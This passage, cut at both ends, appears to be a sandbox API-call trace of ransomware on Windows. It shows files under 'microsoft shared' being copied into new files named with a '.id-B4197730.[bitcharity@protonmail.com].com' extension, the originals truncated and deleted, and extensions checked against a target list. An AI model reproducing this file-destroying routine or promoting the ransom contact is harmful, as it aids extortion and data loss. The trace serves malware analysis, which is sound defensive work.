GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0294.778] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.778] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0294.778] GetLastError () returned 0x0 [0294.778] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x3ba48, lpOverlapped=0x0) returned 1 [0295.223] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3ba50, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x3ba50, lpOverlapped=0x0) returned 1 [0295.227] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.227] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xe2, lpOverlapped=0x0) returned 1 [0295.228] SetEndOfFile (hFile=0x10a4) returned 1 [0295.228] CloseHandle (hObject=0x10a4) returned 1 [0295.228] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.228] SetEndOfFile (hFile=0x10c8) returned 1 [0295.230] CloseHandle (hObject=0x10c8) returned 1 [0295.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0295.231] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 1 [0295.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.231] lstrlenW (lpString=".doc") returned 4 [0295.231] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0295.231] lstrlenW (lpString=".docx") returned 5 [0295.231] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0295.231] lstrlenW (lpString=".pdf") returned 4 [0295.231] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0295.231] lstrlenW (lpString=".xls") returned 4 [0295.231] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0295.231] lstrlenW (lpString=".xlsx") returned 5 [0295.231] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0295.231] lstrlenW (lpString=".ppt") returned 4 [0295.231] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0295.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.232] lstrlenW (lpString=".zip") returned 4 [0295.232] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0295.232] lstrlenW (lpString=".rar") returned 4 [0295.232] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0295.232] lstrlenW (lpString=".bz2") returned 4 [0295.232] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0295.232] lstrlenW (lpString=".7z") returned 3 [0295.232] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0295.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.232] lstrlenW (lpString=".dbf") returned 4 [0295.232] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0295.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.232] lstrlenW (lpString=".1cd") returned 4 [0295.232] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0295.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.232] lstrlenW (lpString=".jpg") returned 4 [0295.232] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0295.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.232] lstrlenW (lpString=".doc") returned 4 [0295.232] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0295.232] lstrlenW (lpString=".docx") returned 5 [0295.232] lstrcmpiW (lpString1=".docx", lpString2="E.EXE") returned -1 [0295.232] lstrlenW (lpString=".pdf") returned 4 [0295.232] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0295.232] lstrlenW (lpString=".xls") returned 4 [0295.232] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0295.232] lstrlenW (lpString=".xlsx") returned 5 [0295.233] lstrcmpiW (lpString1=".xlsx", lpString2="E.EXE") returned -1 [0295.233] lstrlenW (lpString=".ppt") returned 4 [0295.233] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0295.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.233] lstrlenW (lpString=".zip") returned 4 [0295.233] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0295.233] lstrlenW (lpString=".rar") returned 4 [0295.233] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0295.233] lstrlenW (lpString=".bz2") returned 4 [0295.233] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0295.233] lstrlenW (lpString=".7z") returned 3 [0295.233] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0295.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.233] lstrlenW (lpString=".dbf") returned 4 [0295.233] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0295.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.233] lstrlenW (lpString=".1cd") returned 4 [0295.233] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0295.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 68 [0295.233] lstrlenW (lpString=".jpg") returned 4 [0295.233] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0295.233] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0295.233] lstrlenW (lpString="VGX.dll") returned 7 [0295.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0295.234] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=987136) returned 1 [0295.234] CloseHandle (hObject=0x10c8) returned 1 [0295.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0295.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0295.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.234] lstrlenW (lpString=".doc") returned 4 [0295.234] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.234] lstrlenW (lpString=".docx") returned 5 [0295.235] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0295.235] lstrlenW (lpString=".pdf") returned 4 [0295.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.235] lstrlenW (lpString=".xls") returned 4 [0295.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.235] lstrlenW (lpString=".xlsx") returned 5 [0295.235] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0295.235] lstrlenW (lpString=".ppt") returned 4 [0295.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.235] lstrlenW (lpString=".zip") returned 4 [0295.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.235] lstrlenW (lpString=".rar") returned 4 [0295.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.235] lstrlenW (lpString=".bz2") returned 4 [0295.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.235] lstrlenW (lpString=".7z") returned 3 [0295.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.243] lstrlenW (lpString=".dbf") returned 4 [0295.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.243] lstrlenW (lpString=".1cd") returned 4 [0295.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.243] lstrlenW (lpString=".jpg") returned 4 [0295.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.243] lstrlenW (lpString=".doc") returned 4 [0295.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.243] lstrlenW (lpString=".docx") returned 5 [0295.243] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0295.243] lstrlenW (lpString=".pdf") returned 4 [0295.243] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.243] lstrlenW (lpString=".xls") returned 4 [0295.243] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.243] lstrlenW (lpString=".xlsx") returned 5 [0295.243] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0295.243] lstrlenW (lpString=".ppt") returned 4 [0295.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.243] lstrlenW (lpString=".zip") returned 4 [0295.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.244] lstrlenW (lpString=".rar") returned 4 [0295.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.244] lstrlenW (lpString=".bz2") returned 4 [0295.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.244] lstrlenW (lpString=".7z") returned 3 [0295.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.244] lstrlenW (lpString=".dbf") returned 4 [0295.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.244] lstrlenW (lpString=".1cd") returned 4 [0295.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0295.244] lstrlenW (lpString=".jpg") returned 4 [0295.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.244] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0295.244] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19 [0295.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0295.247] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=12448) returned 1 [0295.247] CloseHandle (hObject=0x10c8) returned 1 [0295.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0295.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0295.247] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.247] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0295.311] GetLastError () returned 0x0 [0295.311] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x30a0, lpOverlapped=0x0) returned 1 [0295.364] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x30b0, lpOverlapped=0x0) returned 1 [0295.365] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.365] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xfa, lpOverlapped=0x0) returned 1 [0295.365] SetEndOfFile (hFile=0x10a4) returned 1 [0295.365] CloseHandle (hObject=0x10a4) returned 1 [0295.365] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.365] SetEndOfFile (hFile=0x10c8) returned 1 [0295.366] CloseHandle (hObject=0x10c8) returned 1 [0295.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0295.367] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0295.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.367] lstrlenW (lpString=".doc") returned 4 [0295.367] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.367] lstrlenW (lpString=".docx") returned 5 [0295.367] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0295.367] lstrlenW (lpString=".pdf") returned 4 [0295.367] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.367] lstrlenW (lpString=".xls") returned 4 [0295.367] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.367] lstrlenW (lpString=".xlsx") returned 5 [0295.367] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0295.367] lstrlenW (lpString=".ppt") returned 4 [0295.367] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.367] lstrlenW (lpString=".zip") returned 4 [0295.368] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.368] lstrlenW (lpString=".rar") returned 4 [0295.368] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.368] lstrlenW (lpString=".bz2") returned 4 [0295.368] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.368] lstrlenW (lpString=".7z") returned 3 [0295.368] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.368] lstrlenW (lpString=".dbf") returned 4 [0295.368] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.368] lstrlenW (lpString=".1cd") returned 4 [0295.368] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.368] lstrlenW (lpString=".jpg") returned 4 [0295.368] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.368] lstrlenW (lpString=".doc") returned 4 [0295.368] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0295.368] lstrlenW (lpString=".docx") returned 5 [0295.368] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0295.368] lstrlenW (lpString=".pdf") returned 4 [0295.368] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0295.368] lstrlenW (lpString=".xls") returned 4 [0295.368] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0295.368] lstrlenW (lpString=".xlsx") returned 5 [0295.368] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0295.369] lstrlenW (lpString=".ppt") returned 4 [0295.369] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0295.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.369] lstrlenW (lpString=".zip") returned 4 [0295.369] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0295.369] lstrlenW (lpString=".rar") returned 4 [0295.369] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0295.369] lstrlenW (lpString=".bz2") returned 4 [0295.369] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0295.369] lstrlenW (lpString=".7z") returned 3 [0295.369] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0295.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.369] lstrlenW (lpString=".dbf") returned 4 [0295.369] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0295.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.369] lstrlenW (lpString=".1cd") returned 4 [0295.369] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0295.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0295.369] lstrlenW (lpString=".jpg") returned 4 [0295.369] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0295.369] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0295.369] lstrlenW (lpString="VSTOInstaller.exe") returned 17 [0295.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0295.370] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=100488) returned 1 [0295.370] CloseHandle (hObject=0x10c8) returned 1 [0295.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0295.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0295.370] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.370] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0295.371] GetLastError () returned 0x0 [0295.371] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x18888, lpOverlapped=0x0) returned 1 [0296.195] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x18890, lpOverlapped=0x0) returned 1 [0296.197] ReadFile (in: hFile=0x10c8, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.197] WriteFile (in: hFile=0x10a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0xf6, lpOverlapped=0x0) returned 1 [0296.197] SetEndOfFile (hFile=0x10a4) returned 1 [0296.197] CloseHandle (hObject=0x10a4) returned 1 [0296.197] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.197] SetEndOfFile (hFile=0x10c8) returned 1 [0296.198] CloseHandle (hObject=0x10c8) returned 1 [0296.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0296.199] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0296.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0296.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 